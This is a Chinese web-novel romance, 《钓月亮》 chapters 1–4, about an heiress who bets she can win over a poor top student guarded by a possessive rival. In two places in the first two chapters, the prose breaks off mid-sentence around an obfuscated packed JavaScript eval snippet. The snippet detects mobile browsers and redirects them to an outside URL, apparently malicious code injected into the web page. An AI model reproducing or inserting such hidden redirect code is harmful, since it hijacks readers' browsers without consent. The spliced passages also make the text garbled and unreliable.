《钓月亮》 1. 月亮 初夏,栎园顶楼的宴会厅灯光通明。 栎园属明氏旗下高档夜总会,今晚是上任董事长明老爷子八十大寿,寿宴置办虽简单,但到场客人非富即贵。 前来祝寿的宾客络绎不绝,明老爷子却挂心着他唯一的孙女,不免焦灼,问一旁的李鹤城父女:“都快八点了,斓斓怎么还不来,你们有她的消息吗?” 李菁菁妆容精致,笑容弧度都计算过般精美:“姐姐可能和朋友出去玩忘记时间了,我给她打电话催催吧。” 明老爷子摆摆手:“可别催,万一在路上了不安全。”说着对身后的明琛说:“阿琛,你出去看看,你妹妹可能是迷路了。” 明琛道了声好,往外走。 李鹤城暗地里撇嘴:“什么妹妹,答应得可真顺口,一条狗还真当自己姓明了。” 他的妻子在旁边提醒:“小点声。” 明家在民国时期是做玉石生意起家,在缅甸不少矿口,明斓父母在她八岁那年出车祸过世,掌门人出事,明氏群龙无首,导致整个矿口暴.乱迭起,聚众抢原石的事频频发生。 明老爷子不得不以近七十高龄再度出山,而明琛便是他这段时间培养的,他年轻气盛,手段狠厉,迅速以雷霆之势把控整个矿山,彼时他也不过十八岁。 底层摸爬滚打出来的男人,才更是一把锋利的利刃。缅甸归来,明家历经一段大刀阔斧的肃清,令原本风雨飘摇的明氏珠宝一跃成为豪门之首,身价上翻数倍,短短几年,整个安京对他无人不知无人不晓。 近几年,李鹤城在房地产行混的风生水起,全靠明氏扶持,虽看明琛不顺眼,到底忌惮他,不敢明面上与之抗衡。 好在宴会热闹,没人听见他这句抱怨,李氏在老爷子身边陪笑着说:“菁菁最近在学钢琴,前一段时间在学校演出了,让她弹一段助助兴?” 老爷子不忍拂她面子:“好,菁菁这孩子打小就聪明。” 听闻夸奖李氏瞬间笑开了怀:“是啊,菁菁在学校成绩拔尖,课余还学了钢琴芭蕾,这不刚高考完,准备读商科,日后好替老爷子分忧。” 明老爷子何等精明,怎么会听不出她话中有话,只眯着眼不做声。 李菁菁理好裙摆坐到中央的钢琴前,手指刚触碰到黑白按键,宴会大厅的门突然被打开。 一抹纤丽身影徐徐奔来,礼服裙摆随她跑动的动作在身后散落,碎钻缀在层层蓝纱间,像海面跃动的点点星辰。 少女面颊清透,红唇潋滟,从小在优越环境长大的女孩,无论长相气质还是仪态,处处完美。 现场众人摒住了呼吸,赞叹:“哇,这就是明老爷子的亲孙女?” “好漂亮啊,颜值比明星还绝。” “人家是真正的豪门千金,哪是包装出来的明星比得上的。” 她未开口说一句话,便吸引了所有人的目光,李菁菁尴尬的坐在钢琴前,手下流淌的钢琴曲都好似成了主角登场前的陪衬,她脸都绿了。 明斓小跑着到明老爷子前来了个亲昵拥抱,明老爷子当即笑得眉眼绽开:“怎么才来啊,去哪了?” 明斓也不掩饰:“在家睡过头了。” “你看看你,高考完要放松也不是这么个放松法啊。” 明斓笑着说以后不敢了,李菁菁弹完琴走回来,李氏迅速拉着她过来刷存在感:“斓斓,你们姐妹俩也好久不见了吧,快来说说话。” 明斓和李菁菁不在一个高中,算不上熟,自从在过年的家宴见过一面就没什么交集了。 李氏:“听说斓斓准备大学报美术啊。” 明斓“嗯”了声。 “哎呦,你说说学画画有什么出息啊,你年纪小不懂,小心被外人吃绝户,到时候攥不住家产都落到外人手里头去了啊。” 明斓:“……” 李氏语重心长说:“你要有困难可以和姨说,还有你妹妹,她大学准备学商,懂得多,以后咱一家人帮亲不帮理,好好帮你啊。哎,明家血脉单薄,你父母走了后就只能靠你了,你可要擦亮眼睛,不能把老祖宗打下的家业拱手让人。” 明斓怎会不明白她言语中挑拨离间之意,故作天真笑了笑:“我这位好妹妹也不姓明吧。” 李氏估计是觉得她蠢得要死,继续围着她小声逼逼:“可别怪我说话难听,你这就是认贼作……” “表舅妈,宴会现场是您监管的吧。”人群中传过一道清润的男声,明琛端着酒杯,大步朝这走来,李氏迅速换了副嘴脸:“哎呦,明总,是我是我,老爷子不愿意铺张浪费,所以一切从简了。” 明琛说:“布置是的很漂亮,就是耳边总有蚊子乱哼,您是不是没喷杀虫剂?” “哪来的蚊子啊……”起先李氏还疑惑,很快明白过来他话头的意思,当即脸色涨红不敢再聒噪了。 明斓得空说了句失陪就去角落找江琳茜了,江琳茜是她的发小,两人从小一块玩到大。 江琳茜听了全场,捂着脸偷笑:“果然还是琛哥能治住人,太帅了。你今天怎么来这么晚,真睡过了?” 明斓夹了块巧克力小蛋糕到托盘:“没有,不乐意来这种场合,故意晚来的。” “就算晚来你也是全场的焦点。” “别拍马屁。” “真心话还不乐意听,真是的。” 明斓到宴会时已经接近晚场,明老爷子离开后大家也散的差不多了,明斓挽着江琳茜胳膊,两人一路说笑往外走。 在楼下等电梯时忽然看见李菁菁急匆匆从走廊另一端往外跑,她穿着抹胸法式桔梗裙,高跟鞋提在手上,面上焦急万分:“许墨白,你先别走,我有话要说!” 明斓一顿,顺着她视线往外看去,树木遮挡的暗色阴影中,站着一个人,少年个子很高,夜风吹起他冷白额角的黑发,侧脸棱角分明,气质舒朗如月。 李菁菁欢笑着跑到他身边,小脸带着讨好:“谢谢你帮我送东西,我一会去吃夜宵,你和我一起吗?” 许墨白转过了身,连个眼神都没给她,嗓音很淡:“不了。” “那我送你回家吧,司机很快来了。” “不用。” 他语气冷淡,骄傲如李菁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892327|176519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菁却没有丝毫生气,仍是笑吟吟跟着他:“你晚上值夜班吗?我晚上没事去陪你吧,我还有道数学题不会正好问你。” 两人一前一后离开,身旁江琳茜看好戏般啧啧两声:“这李小姐还真是痴心人啊。” 明斓:“你认识他?” “认识啊,我高中同学许墨白,李家资助的贫困生,今年的省状元,听说高考成绩还没下榜,各大高校轮番打电话过来,差点打破头,也算是光耀李家门楣了。” 明斓不理解:“人家高考状元,关他李家什么事,他又不姓李。” 江琳茜:“他初中毕业被李鹤城带到城里来读书,高中学费还有奶奶重病住院的钱都是李家资助,李菁菁又喜欢他,算半个李家人呗。” 李鹤城还真是“高瞻远瞩”,这么快就给女儿找好童养婿了。 明斓说:“可我看他对李菁菁挺冷淡的啊,估计不怎么喜欢她吧。” “谁会喜欢李菁菁这种疯子。” 明斓突然生了点兴趣:“有故事啊,说来听听。” “行吧,听我细说。这个李菁菁对许墨白是一见钟情,初中就追着他跑,占有欲强的发指,但许墨白一直不爱搭理她。你在美院附中读高中所以不知道,许墨白在我们学校但凡和哪个女生说一句话,她都能狂甩人巴掌,扯着女生的头发摁马桶里,她仗着她爸给学校捐过几万册图书,学校也睁一只眼闭一只眼。” 明斓:“病娇啊?” “什么病娇动画片看多了吧,现实中叫疯子,我怀疑万一哪天许墨白谈恋爱或喜欢上谁了,她会拿刀去杀人。” 明斓跟李菁菁交集不多,她妈妈和李鹤城是远房表姐弟关系,只逢年过节在家宴上见一面,很清瘦单薄的一个女生,印象中还没她那个脑子不咋聪明又喜欢耍小聪明挑拨离间的妈存在感高,看不出来,她私底下玩这么疯。 明斓:“他就不反抗?” 江琳茜:“怎么反抗?李家对他有恩,李菁菁又有病,他能怎么样?忍着呗。” 明斓嗤笑:“道德绑架。” 江琳茜:“差不多,不过许墨白私底下一直在兼职打工,估计也是想早点还完钱摆脱这个女疯子。她俩的事迹都我一时半会讲不完,有空你可以去我们学校贴吧看看吧,比小说有意思多了。” 聊了会。 自家车行驶到门前,明斓和江琳茜道别上了车。 明斓坐在后车座,窗外霓虹飞驰而过,闭上眼脑中就能回闪过少年疏冷的身影。 他穿着简单白T和洗的泛白的牛仔裤,乌黑的短发,一眼看得出的贫寒,明明才十八岁的年龄,眼睛里没半点同龄人的学生气,沉淀的像是一潭死水。 明明是个无趣的书呆子,但莫名挺吸引她的。 怎么说呢。 清隽淡雅,像一张洁白干净的画布,让人忍不住想往上添一点浓郁的颜色。 墨白。 名字和他也很配。 明斓托腮,指尖轻点在真皮座椅上。 心里突然冒出一个大胆的想法,想看他被欲念交缠的眼。 2. 月亮 盛夏蝉鸣,昨晚下了一整夜暴雨,到早上雨势才渐小,斜斜敲在玻璃上,氤氲出道道湿痕。 明斓咬着吸管,百无聊赖望向窗外。 不远处,眉目清朗的少年正一趟趟从货车往后厨搬运水果。 明斓看了眼奶茶店的商标【初遇】,自从上次在宴会上惊鸿一瞥,已经过去半月了,找了这么久,可终于逮到他了。 男生个高腿长,穿着简单白T黑裤,肩背宽阔削瘦,后衣领微微后翘,露出一截冷白的脖颈。 雾沉沉的光线里,他浑身浸着水意,被雨水打湿的前襟微微贴在胸前,隐约可见少年人利落的肌肉纹理。 明斓的视线顺着他锁骨往下,心里冒出一个念头:“宽肩窄腰大长腿,要是搞来做她的人体模特就好了。” 这时,奶茶店的自动感应门“叮”一声响,江琳茜迟到,进店收了伞一眼就看到明斓,匆匆走过来。 明斓的视线从窗外收回,落回江琳茜脸上,调侃道:“你怎么愁眉苦脸的。” 江琳茜一屁股坐她对面,把链条包扔到一边,顺了顺打湿的刘海,看得出心情很不好:“别提了,遇到某个前男友,被缠住了。” 明斓眼角带笑,从齿间溢出一句:“小渣女。” 嗓音娇柔撩人。 这家奶茶店是新开的,店里放着浪漫法语音乐,来往大多是学生,路过不少男生在偷偷两人,明斓早就习惯了这种回头率,并没觉得不适。 江琳茜抱怨:“这可不能怪我,当初说好了玩三星期,后来我还宽松一周,足足和他谈了一个月才分手,现在他居然指责我玩弄他的感情,切,最烦这种玩不起的了。” 明斓没搭腔。 江琳茜把吸管插进奶茶杯,嘬了一口:“嗯,这家奶茶味道不错,你怎么找到的这家店?” “听说的。”她随口说,绝不提为了找人翻遍了整座安京城。 “五星好评。”江琳茜。 明斓有一搭没一搭听她说话,涣散的目光逐渐定焦在某处,许墨白已经把最后一箱水果箱搬进去了,旁边有个扎双马尾的女孩给他撑伞。 即便如此许墨白还是湿透了,他用手背擦掉下颌的水,动作麻利关了货车后箱,司机下车清点完毕,把单子给了他。 这个李菁菁还真是名不虚传,连兼职都寸步不离守着他。 许墨白送货车司机离开,李菁菁在他旁边眉飞色舞说着什么。 许墨白默不作声,把闲置的塑料筐罗列起来,白色短袖的后背早已被雨水打湿,紧实的背部肌肉线条若隐若现。 挺……性感。 明斓莫名有点口干,猛吸两口奶茶。 江琳茜在她眼前挥了挥手:“你发什么呆?” “啊?”明斓扬了扬下巴:“看他呢。” “谁?” 江琳茜顺她的视线看向窗外,这会儿雨又大了几分,雨滴淅淅沥沥落在路面,在地面水涡荡开几圈涟漪。 江琳茜也看到了许墨白,激动道:“卧槽许墨白,学霸就是学霸,这才高考完多久就出来打工,太卷了。” 明斓淡淡点头。 江琳茜边看戏边评价:“哎,其实许墨白要不是被李菁菁这么盯着,学校肯定很多小女生喜欢他,这品相只能看不能睡,啧啧真可惜了。” “要不我去试试?” 明斓半眯着眸子,她笑起来时眼睛会弯起,更像一只蛊惑人的小狐狸了。 江琳茜不可思议扭回头:“你去,得了,别开玩笑。” 明斓笑道:“我不行?” “不是不行,你没必要趟这趟浑水,我那天不跟你说了,李菁菁疯起来不要命,你别瞎掺和。” 明斓笑说:“除开李菁菁,你觉得我追他有多少把握?” “要是没有这个疯子的话。”江琳茜想了想,还真不确定。 美院附中的女生个顶个漂亮会打扮,但明斓还是能从其中脱颖而出,成为无数男生心中的女神,虽然她平时佛系也不爱社交,但漂亮的女生无论走哪总能吸引人的目光。 就算许墨白再高岭之花,也是肉体凡胎,明斓真要马力全开去追一个人,就真保不准了,江琳茜保守说:“三个月差不多。” “一周。”明斓。 江琳茜张圆的嘴巴都来不及合上:“一周?” 明斓微挑的眼尾泛着笑意:“对啊,就一周,我可没那么多时间跟他耗,追不上算了,下一个更乖。” 江琳茜:“你是不是没搞清楚状况,一周你连许墨白的身都近不了,你没看到那个母豺狼,寸步不离守着唐僧肉,狼口夺肉,别到时候溅你一身血。” 就是这样才更激发她的挑战欲啊。 明斓挑眉:“可许墨白又不喜欢她,你看她守了这么多年有什么用?” “当然有用,”江琳茜说:“除了你这只小狐狸,没敢觊觎,早晚都是她的。” “别人怕她我可不怕,她能仗着李家胡作非为,我明家也不是吃素的,何况我这是在做大善事,救他脱离火海,像我这样菩萨心肠的小狐狸可不多见。” “得了吧你。”江琳茜仍然觉得她是在开玩笑,毕竟明斓是出了名的怕麻烦,惹上李菁菁这个疯子就不是一般的麻烦。她笑说:“你是不是最近寂寞了啊,想谈恋爱跟姐们说啊,姐们晚上带你嗨皮,介绍帅哥给你啊。” 明斓哪里还对其他帅哥提起兴趣,她抿唇笑了下:“要不你和我打个赌,看我能不能一周追到他。” “赌什么?” “随便吧。” 江琳茜半信半疑道:“赢了叫对方爸爸?” “我要你这个便宜闺女干什么?”明斓想了想:“不过你要是想也不是不可以。” “既然你这么坚持我就不劝你了,若我赢了,我还得再加个栎园年卡。” 栎园是明氏旗下高端连锁夜总会,现任掌权人是明斓的哥哥明琛,不过他们并没有因为是明斓朋友得到优待,反而在高二时就被打包送进了黑名单,禁止入内,管他是哪家的少爷小姐。 江琳茜混迹各大酒吧夜店,栎园是她最后一块还未占领的版图,觊觎已久。 明斓:“好,成交。” 江琳茜:“不过话说回来,你怎么突然对许墨白感兴趣了,你不是不喜欢书呆子类型的吗?难不成还真成圣母了,爱心泛滥想普度众生?” 明斓无聊的敲着桌沿,再抬眼往外面看时许墨白已经不在了,淋漓的雨水顺着玻璃往下落:“这不刚高考完,闲着也是闲着,谈个恋爱玩玩。” 江琳茜:“新手上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892328|176519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路就直接上高级赛道,也不怕栽跟头。 明斓:“人嘛总有点恶趣味,比如爱看浪子回头圣人堕落,而我——就让高岭之花尝尝爱情的苦好了。” 江琳茜:“……” 江琳茜:“论恶毒还得是你明大小姐!” 无聊、好奇、玩玩…… 很多年后回忆时,明斓也不清楚当初为什么定下这样的赌局。 她只记得那天绵绵细雨,透过朦胧雨雾,少年搬着一箱葡萄在雨中穿梭,转身时,她看到了一双最干净的脸,鼻梁挺拔,清俊内敛。 像山间漫开的凉雾,让她浮躁的心瞬间安静下来,连周遭浑浊的尘埃都被涤荡干净。 喝完奶茶,明斓起身去结账。 许墨白换了件绿色工作服,头发有些凌乱,应该是用毛巾随意擦过就出来了,他没有看她,垂着眸,手指迅速操作着电脑:“一共197,这是您的小票。” 他的嗓音也是干净清润的,尾音带很浅的鼻音。 “现金支付。”明斓收过小票,从钱包中取出两张百元大钞放到桌面,缓缓推过去。 许墨白收钱找零。 “收您200,找零3元。” 明斓摊开纤纤玉手伸过去,许墨白捏出三个钢镚放到她掌心,这时,她的手掌突然往上抬了下。 掌心有意无意蹭过他的指尖,他的手指还沾着雨水的潮湿,凉凉的。 许墨白倏地收回手,抬眼与她对上视线。 明斓朝他弯唇浅笑,小梨涡浮现在唇边,她没有留小票,握着三个钢镚转身离开。 自动门打开,明斓往外步,右脚踩到枚金属制品,低头看了眼,是个长条形的工作牌。她弯腰捡起,装进随身包包,和江琳茜说笑着撑伞离开奶茶店。 许墨白看着二人离开的背影,右手在桌底紧握成拳。 他垂下眼睑,桌面上是被她随手扔下的小票,背面写了一串数字,看长度应该是电话号码。 后面跟着两个字【明斓】,这是她的名字? 他眸色暗了一层,类似的事遇到不少,他没当回事,随手团起仍进了垃圾桶。 _ 因为下雨,明斓和江琳茜没有再去其他地方玩,打电话给了家里司机,准备打道回府。 江琳茜拽她胳膊:“哎,你先别急着走啊,这会店里人不多,多好的机会,去跟他聊会天儿,要个电话什么的啊。” 明斓笑看回看她:“你在夜店就这么勾搭男人?” 江琳茜自认这方法挺好的,从诗词歌赋聊到风花雪月,再下一步有兴趣就可以递房卡了,很少失误:“是啊。” 明斓毫不留情点评:“真土。” 土? 夜店女王茜茜公主感受到了一万点打击。 江琳茜鼓腮:“你有什么妙招?” 明斓:“等。” “等?” “等猎物自己送上门。” 守株待兔啊。 江琳茜觉得她输定了,追人怎么能抹不开面,明大小姐还是太青涩没经验啊。 她扬了扬手机,憋着笑:“行,那你等着吧,可别怪我没提醒你,你的一周已经过去43分钟了,我给记着时呢。” 明斓并不在意,胸有成竹的样子。 3. 月亮 回到汀兰水榭。 明斓进门就看到明琛长腿交叠坐沙发一端,李婶沏了茶,他押了小口,拿本行业杂志翻着。 听到脚步声,明琛抬眸瞟过来:“去哪了?” “和茜茜去喝奶茶……“明斓踢掉鞋子,换了拖鞋进来,话说到一半又觉得不对,他们昨天刚刚吵架了,这会并不想给他好脸色。 明斓咳了几声,板了板脸:“去哪关你什么事,你还真当是我哥哥了,管的真宽。” 旁人碰上他如见阎罗,明斓倒是向来对他口无遮拦,她八岁跟着他长大,如兄如父,这段感情可不是旁人随便能挑拨离间的。 明琛不客气哼道:“你要真是我妹妹,就你这天天鬼混的样子早被我打死了。” 明斓“切”了声,去冰箱拿了瓶气泡水,扣开拉环,一饮而尽。 明琛放下茶杯:“真不再考虑一下出国进修了?” 明斓扔下饮料罐子,三两步走过去:“不去不去不去,才不想出国,我在国内舒舒服服的,干嘛去国外那种鸟不拉屎的地方受罪,话都听不懂。我说明总,你该不会是看我即将成年,准备把我送走,好霸占我的家产吧。” 明琛嘲讽:“真当你明家是块宝贝了,我现在就可以把这块烫手山芋还给你,但是亲爱的明大小姐妹妹,你敢接吗?” 明斓被他一噎:“谁说我不敢了,但得再给我一段时间缓缓。” “缓多久?” “三……三十年吧。” “三十年,”明琛都气笑了:“你倒是很会打算,还要我给你明家打工三十年?” “我们也没亏待你啊,你都改姓明了,不得出点力。” 明琛懒得跟她耍嘴皮子,耍到最后到最后还不是生一肚子气。他很忙还要处理公司事务,抬腕看一眼时间:“行了,晚上我还有应酬,不回来吃了,外面下雨你别瞎跑,在家好好待着。” “知道了,我又不是小孩子。” 明斓蹭掉拖鞋,窝到沙发上拿遥控器看电视。 明琛又和李婶嘱咐几句,这才离开。 电视机里在放着言情剧,明斓无心观看。 她仰躺在沙发上,茶棕色长发散落,几缕碎发粘在脸颊。 明斓手上拿着一个深蓝色的工作牌对准吊顶的水晶灯,这应该是许墨白搬水果时掉的。 她捡到了故意没有还给他。 上面“许墨白”三字是手写卡片插进去的,字迹苍劲,半点不潦草。 她拿出手机点开江琳茜所说的学校贴吧,首页飘红的便是几个大字【看过来,李大小姐又在食堂发疯了!!!】 帖子发表日期是三个月前了,内容是一段几分钟的视频,画面模糊而晃动,隐约看出背景是在嘈杂拥挤的食堂。 许墨白安静排着队,前面两个说笑的女生不小心撞了他一下,一件再平常不过的日常小事,李菁菁却发疯似的冲过来撕扯女生的头发。 许墨白拦住她,让两个女生先走,她却像精神失常了一样,泼了他一身的水,几秒钟后又神经兮兮来关心他冷不冷。 画面在这一秒戛然而止。 评论区,【李大小姐疯批属性upup】 【要我是许墨白,自.杀算了,这特么也太要命了吧。】 【我真的建议李小姐去精神病院住几个疗程……】 【我怎么看着许墨白表情也不太正常了,他有没有去看心理医生。】 【新写的同人,《大小姐太爱我了怎么办》隔壁连载ing,感兴趣的姐妹们顶一个啊】 【d】 【+1】 【+1】 明斓顺着爬去了隔壁,看了半小时霸道千金爱上我,这届学生可太有才,绿jj病娇霸总文学榜少了你是一大损失啊。 她正看得津津有味,掌心手机震动几下,弹出个陌生的来电,没有备注,但她很快猜到了这是谁。 这不是主动送上门了。 明斓不动声色弯唇,等铃声足足响了十几声,快要挂断时她才盘腿坐起,按下接听键:“喂。” 对面声音嘈杂,伴随着呼呼的风声,却没人说话。 明斓拿下手机看一眼,确认接通后再次贴到耳侧:“喂……没人说话我挂了?” “明斓?” “嗯,我是明斓啊,你哪位?” 他念她名字的声线还挺好听的,声控的福利。 对面答:“许墨白。” “许墨白是……”明斓装作认真思考的样子,故意逗他:“谁啊?” 对面果然噤声了,只有风吹过话筒发出呜呜的声音。 明斓忍不住笑了下,调侃道:“开玩笑的,我当然知道你,在奶茶店打工的那个小哥哥,你找我有事吗?” 许墨白沉默片刻,声线缓慢,像是思考措辞:“我看了监控,你是不是捡到了我的工牌?” 明斓摩挲着手心小小的金属牌,她颠了颠,沉甸甸的极有分量:“是啊,我捡到的。” 许墨白思考片刻:“制作新工牌需要时间,没有工牌我这段时间没法工作。” 明斓淡淡“哦”了声:“所以呢?” “能用同城快递给我寄过来吗?可以到付。” 寄过去,想得美。 明斓笑道:“很难哦,我家有点偏僻呢,快递估计只有邮政,你要不嫌慢,我可以给你寄啊。” 对面不说话了,大概是觉得她恶劣又过分,明斓可不在意他怎么想,笑着说:“你自己来拿呗。” 沉默一会,他妥协:“你什么时候有空?” “二十四小时都有空。” 她这话实在有点像引诱唐僧入洞的蜘蛛精。 不过许墨白不得不上钩了:“明天下午可以吗,明晚轮班需要用。” 明斓自然地接话:“好啊,我等你,这个号码是你的微信吗?一会儿我把地址发给你。” 许墨白默了会,犹豫道:“好。” 电话挂断后太阳也落山了,室内逐渐昏暗,电视剧背景音应景地安静下来。 明斓打开微信把他的号码输入进去,点击添加,隔了五分钟显示页面添加成功。 真是的。 这么简单就搞到微信,一点挑战都没有。 许墨白的头像是只笑得特别开心的萨摩耶,朋友圈倒异常干净,没有任何动态。 明斓没有主动发消息的想法,就算是追人也不能太舔,不然岂不成了第二个李菁菁,她没发消息,直接共享了个位置过去。 很快她看到共享地图中出现了一个小蓝标,是许墨白进来了,他的位置还是白天的奶茶店,也不知道李菁菁是不是在他身边。 就算在身边又怎么了,她看上的猎物谁也抢不走。 _ 隔天。 许墨白按照约定时间来到汀兰水榭,推开奢华大门,客厅放着舒缓的钢琴曲,但没看到明斓的人影。 他四处张望下,突然从上方飘下几片玫瑰花瓣,落在了他的发丝和肩膀。 许墨白抬眼望去。 少女慵懒地靠在二楼栏杆上,修长的指间捏着一支玫瑰的花茎,她言笑晏晏揪下一片花瓣,托到手心轻轻一吹,花瓣飘飘洋洋落到他的脚边。 两人遥遥相忘,明斓穿了件绿色露肩碎花衫和牛仔短裤,两条纤细笔直的腿就这样暴露在他眼前,她没穿鞋子,莹白脚趾踮起,直勾勾看着他,热情与他打招呼:“你来啦。” 许墨白不知道她意欲何为,而且她的裤子太短了,一抬眼就看到一双洁白光滑的大腿,提醒着他非礼勿视。 许墨白迅速垂下头,耳根染上绯色:“嗯。” “你怎么一个人来的啊?” 许墨白:“还应该有谁?” “没谁,跟我过来吧。”明斓没回答他,踮着脚尖蹦蹦跳跳下了楼,走进了偏室,许墨白跟随她进去。 明斓招呼他:“随便坐吧。” 偏室靠墙摆放着一整柜的书籍,一排的世界名著,最头上是本英文原著《呼啸山庄》,许墨白从旁边走过去时却发现这居然是本裹着书皮的《未麻的部屋》 还真是她的风格,漂亮精致的外壳,内里荒诞恶劣。 李婶端着两杯果汁和黑巧小蛋糕进来,放到了桌上,明斓递给许墨白一杯:“喝点果汁吧。” 许墨白说声“谢谢”,伸手去接玻璃杯。 明斓松手后,手指忽地一转,故意用指腹轻轻蹭了下他的手背,一触即收,和昨天在奶茶店一样,是一种试探性的冒犯。 不出意外的,许墨白周身一僵,玻璃杯在他手中晃了下,果汁飞溅滴在他的虎口。 明斓愉悦的笑起来,抽纸巾要给他擦手:“怎么了,你有洁癖啊?” 许墨白想不明白她到底要做什么,但很显然,戏弄他似乎对她而言是件很愉悦的事。 “……没有。”许墨白接过纸巾,椅子往后一滑,像躲瘟神一样。 “那就好。”明斓自然不能太咄咄逼人,坐回对面的椅子,开启了另一个话题:“你 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明斓“嗯”了声:“我觉得你挺适合,工作时间灵活,工资还可以,而且保证你的女朋友不会骚扰你哦。”她故意加重了“女朋友”三个字,许墨白知道她说的是李菁菁。 许墨白否认:“她不是我女朋友。” 明斓笑道:“我都没说谁,你就说不是。” 许墨白:“我没女朋友,也不交女朋友。” 明斓撇撇嘴,露点狡黠的笑:“知道知道,不用和我强调了,说正经的工作。” 许墨白对她这笑容很熟悉,直觉没有好事,果不其然下一秒听她说:“你有兴趣做我的人体模特吗?” “……” 许墨白突然想起学校艺体楼展览厅张贴的学生作品,露骨的,大胆的。 他不太自然的喝了口果汁,差点被呛到气管里,附身咳嗽。 “我是说穿衣服的那种,你不会是想歪了吧?” “我没有……” 明斓笑得更大声了:“你肯定想歪了,不然你脸红什么?” “我……我是被呛的。” “好吧好吧,信你了。”才怪。 许墨白被她闹了个红脸,整个人局促起来。 明斓起先只是想逗逗他而已,没想过他这高冷大学霸会真的答应,谁知过了会许墨白居然真的很认真想去了解:“模特需要做什么?” 明斓蛮惊讶的,原来他这么缺钱,她便也不在开玩笑,给他认真介绍:“绘画圈有这样一个名言,优秀的人物画,有一半功劳在于模特。一般一幅画的创作需要几个小时甚至几天,最重要的是可以保持一个姿势不能动,其实也挺消耗体力的,所以要身体健康,平衡性好,比例协调。” 许墨白:“我没有经验。” “绘画模特不需要什么经验,只要你契合我的审美点,一切不是问题。” 许墨白点点头算作回应,没说话。 明斓好奇:“你不问问价格吗?” 许墨白似是才想起来:“哦,价格是多少?” “一小时两千。”明斓自认这个价格非常有诚意了,业界绘画模特都是150-300每小时,不信他不心动。 许墨白再度沉默,深沉的眼晕着深不见底的黑,看不出情绪,也摸不准他现在的态度。 “我有奶茶店的工作,时间恐怕没法太固定。” “无所谓啊,我配合你的时间呗,反正我也没事干的。” “我想考虑一下,可以吗?”许墨白抬睫,声音比刚见面时温和不少。 “当然可以,”他的适应性倒是比想象中强,明斓笑道:“你想考虑多久?” 明斓觉得一般人考虑事情最多三天,谁知许墨白却说:“一周。” “……” 一周黄花菜都凉了。 她都怀疑他是不是听到了她和江琳茜打赌的事,故意在这搞她心态。 “我的工作牌可以给我了吗?” “哦,可以。” 拿到工作牌许墨白没再逗留,明斓把他送到楼下,刚开门就看到一辆宾利以迅雷之势堵在门前,李菁菁摔门下车。 来的真快,这是在他身上装雷达了吧。 李菁菁穿着舞蹈训练服,素面朝天长发绑成丸子头,一脸防备盯着两人,跟捉奸似的:“你们怎么会在一起?” 明斓挑了挑眉梢,手肘故意搭上他的肩:“怎么,我们为什么不能在一起?” 4. 月亮 李菁菁突然来访,许墨白却没有丝毫惊讶或震惊神色,像是这种场景出现过无数次,他眼神很平淡,跨过一步挡在明斓身前跟她说:“你先回家。” 明斓故作担忧问道:“没事吧?” 许墨白:“没事。” 李菁菁怒目圆睁冲过来:“不准和她说话!我说过了你不准和其他女生单独待在一起,也不准和女生说话,你拿我的话当放屁吗,许墨白你混蛋,你忘恩负义。” 许墨白没说话,后面的话不堪入目,明斓听着都刺耳,推开他想与李菁菁对峙:“他又不是你的提线木偶,凭什么都听你的,他连朋友都不能交了?” “闭嘴你懂个屁,他只能听我的,也不能交朋友!”明斓手指只轻轻碰了许墨白一下,落入李菁菁眼中,她突然像是失去理智的豹子,冲过来就要撕扯她的头发,被许墨白拦住:“李菁菁,别闹了!” 李菁菁猩红着眼:“是我在闹吗?是那个贱人逼我的啊,你给我保证再也不会理她,我就不会闹了,你跟我保证啊!” 许墨白不可能答应她这样无理的要求,李菁菁突然失控般扬手甩了他一巴掌,力气之大令后面明斓都惊的缩了下肩膀。 许墨白冷白的脸颊浮出红色手印,可他神色没有丝毫变换,点漆般黑瞳如死水般无波无澜。 空气陷入死一般的寂静。 几分钟后,打人的李菁菁反倒红了眼,她颤抖着抱着他痛哭:“对不起,我不是故意的,对不起我刚刚只是太害怕了,你不要怪我。” 她泪流满面,伸手想抚摸他的脸颊,被许墨白偏头躲过,他单手架住她的胳膊,打开车门把人塞进去,跟司机说:“叔,先把小姐送回家吃药,她病发了。” 司机战战兢兢点头:“好。” 李菁菁疯了一般拍打着车窗:“我没病,许墨白我没病,我不吃药放我下车啊啊,你放我下车!” 车子在夜色中疾驰而去。 街道安静下来。 许墨白静默片刻,回头跟明斓说了句“对不起”,就要离开。 “等等!” 明斓扭头往家里跑,边跑边说:“等我一会,就一小会你千万别走。” 短短几分钟她去而复返,手里拎着一个大袋子,装着各种跌打损伤的药一股脑塞他怀里,袋子最上面还放着一排鸡蛋。 许墨白抬头,小姑娘鼻尖全是细小的汗珠,脸颊红彤彤的介绍:“碘酒,膏药、跌打损伤的药膏……还有这个,这是鸡蛋。” 鸡蛋? 明斓很耐心跟他解释:“电视上演的,剥开在脸上滚一滚就会消肿了。” 还真是不是人间烟火的大小姐。 电视上用的也不是生鸡蛋啊。 知道她是好心,许墨白没说什么,道了谢谢让她赶紧回家。 门口那颗老槐树被盛夏的晚风吹得摇摆,透过暗沉沉的天幕,许墨白敞开袋子看了看,忽然笑了一瞬。 _ 晚上十点钟,安京最大的夜总会栎园正灯火通明,奢靡的音乐声震耳欲聋。 “哈哈哈哈哈,”江琳茜毫不掩饰自己的嘲笑,笑得眼泪都出来了:“真的啊,李菁菁还真不愧疯批之名,我亲爱的斓斓,你怕了吗?” 